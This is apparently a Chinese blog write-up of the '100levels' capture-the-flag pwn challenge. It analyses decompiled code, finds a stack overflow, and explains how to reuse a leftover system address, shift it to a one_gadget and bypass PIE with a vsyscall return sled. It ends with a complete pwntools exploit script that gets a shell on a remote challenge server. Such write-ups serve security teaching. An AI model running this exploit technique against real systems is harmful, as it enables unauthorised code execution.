1000levels-vsyscall

1000levels-vsyscall

题目是一个64位的程序 具体保护如下

在这里插入图片描述

程序主要分为两部分,分别为go部分和hint部分。

首先先看简单的hint部分

int hint()
{
  signed __int64 v1; // [rsp+8h] [rbp-108h]
  int v2; // [rsp+10h] [rbp-100h]
  __int16 v3; // [rsp+14h] [rbp-FCh]

  if ( unk_55999F93708C )
  {
    sprintf((char *)&v1, "Hint: %p\n", &system, &system);
  }
  else
  {
    v1 = 'N NWP ON';
    v2 = 'UF O';
    v3 = 'N';
  }
  return puts((const char *)&v1);
}

当unk_55999F93708C有值的时候会打印出system的地址。

继续看go函数的部分

int go()
{
  int v1; // ST0C_4
  __int64 v2; // [rsp+0h] [rbp-120h]
  __int64 v3; // [rsp+0h] [rbp-120h]
  int v4; // [rsp+8h] [rbp-118h]
  __int64 v5; // [rsp+10h] [rbp-110h]
  signed __int64 v6; // [rsp+10h] [rbp-110h]
  signed __int64 level; // [rsp+18h] [rbp-108h]
  __int64 v8; // [rsp+20h] [rbp-100h]

  puts("How many levels?");
  v2 = read_count();
  if ( v2 > 0 )
    v5 = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = read_count();
  v6 = v5 + v3;
  if ( v6 > 0 )
  {
    if ( v6 <= 99 )
    {
      level = v6;
    }
    else
    {
      puts("You are being a real man.");
      level = 0x64LL;
    }
    puts("Let's go!'");
    v4 = time(0LL);
    if ( (unsigned int)check(level) != 0 )
    {
      v1 = time(0LL);
      sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", level, (unsigned int)(v1 - v4), v3);
      puts((const char *)&v8);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward Coward Coward Coward Coward");
}
_BOOL8 __fastcall check(signed int a1)
{
  int v2; // eax
  __int64 v3; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  unsigned int v10; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)check(a1 - 1) == 0 )
    return 0LL;
  v10 = rand() % a1;
  v2 = rand();
  v9 = v2 % a1;
  v8 = v2 % a1 * v10;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v10, v9);
  read(0, &buf, 0x400uLL);                      // 栈溢出
  v3 = strtol((const char *)&buf, 0LL, 10);
  return v3 == v8;
}

其中check函数发现了栈溢出,但是程序开启了PIE保护,无法构造ROP链。但是仔细观察hint部分

text:000055999F735D06                 push    rbp
.text:000055999F735D07                 mov     rbp, rsp
.text:000055999F735D0A                 sub     rsp, 110h
.text:000055999F735D11                 mov     rax, cs:system_ptr
.text:000055999F735D18                 mov     [rbp+var_110], rax
.text:000055999F735D1F                 lea     rax, unk_55999F93708C
.text:000055999F735D26                 mov     eax, [rax]
.text:000055999F735D28                 test    eax, eax
.text:000055999F735D2A                 jz      short loc_55999F735D57
.text:000055999F735D2C                 mov     rax, [rbp+var_110]
.text:000055999F735D33                 lea     rdx, [rbp+var_110]
.text:000055999F735D3A                 lea     rcx, [rdx+8]
.text:000055999F735D3E                 mov     rdx, rax
.text:000055999F735D41                 lea     rsi, aHintP     ; "Hint: %p\n"
.text:000055999F735D48                 mov     rdi, rcx        ; s
.text:000055999F735D4B                 mov     eax, 0
.text:000055999F735D50                 call    _sprintf
.text:000055999F735D55                 jmp     short loc_55999F735D7C

他首先会将system地址给[rbp-0x110]处,go函数的v5也在[rbp-110],且输入的第一个数值如果小于0,那么v5即[rbp-0x110]便不会赋值,因此我们成功将system的地址写在栈中,之后我们还可以输入第二个数值 对[rbp-0x110]的值进行加减,使其变成one_gadget。要执行到one_gadget,就需要利用vsyscall.

关于vsyscall

vsyscall是第一种也是最古老的一种用于加快系统调用的机制,工作原理十分简单,许多硬件上的操作都会被包装成内核函数,然后提供一个接口,供用户层代码调用,这个接口就是我们常用的int 0x80和syscall+调用号。

当通过这个接口来调用时,由于需要进入到内核去处理,因此为了保证数据的完整性,需要在进入内核之前把寄存器的状态保存好,然后进入到内核状态运行内核函数,当内核函数执行完的时候会将返回结果放到相应的寄存器和内存中,然后再对寄存器进行恢复,转换到用户层模式。

这一过程需要消耗一定的性能,对于某些经常被调用的系统函数来说,肯定会造成很大的内存浪费,因此,系统把几个常用的内核调用从内核中映射到用户层空间中,从而引入了vsyscall。

因此vsycall地址是不变的,不受PIE影响,我们可以利用其对栈进行填充。

在这里插入图片描述

从栈中可以得知,溢出后我们需要填充3个vsyscall,才能执行到onegadget,最后payload如下

from pwn import *
context.log_level='debug'
#p=process("./100levels")
p=remote('111.198.29.45','35343')
p.recvuntil("Choice:\n")
p.sendline('2')
p.recvuntil('Choice:\n')
p.sendline('1')
p.recvuntil('How many levels?\n')
p.sendline('0')
p.recvuntil('Any more?\n')
offset=0x4526a-0x45390
p.sendline(str(offset))
for i in range (99):
    p.recvuntil('Question: ')
    a=p.recvuntil(' ')
    a=a[:-1]
    a=int(a,10)
    p.recvuntil('* ')
    b=p.recvuntil(' ')
    b=b[:-1]
    b=int(b,10)
    p.recvuntil('Answer:')
    p.sendline(str(a*b))
p.recvuntil('Answer:')
payload='a'*56+p64(0xffffffffff600000)*3
p.send(payload)
p.interactive()

发布了49 篇原创文章 · 获赞 14 · 访问量 6912

猜你喜欢

转载自blog.csdn.net/qq_39268483/article/details/99139473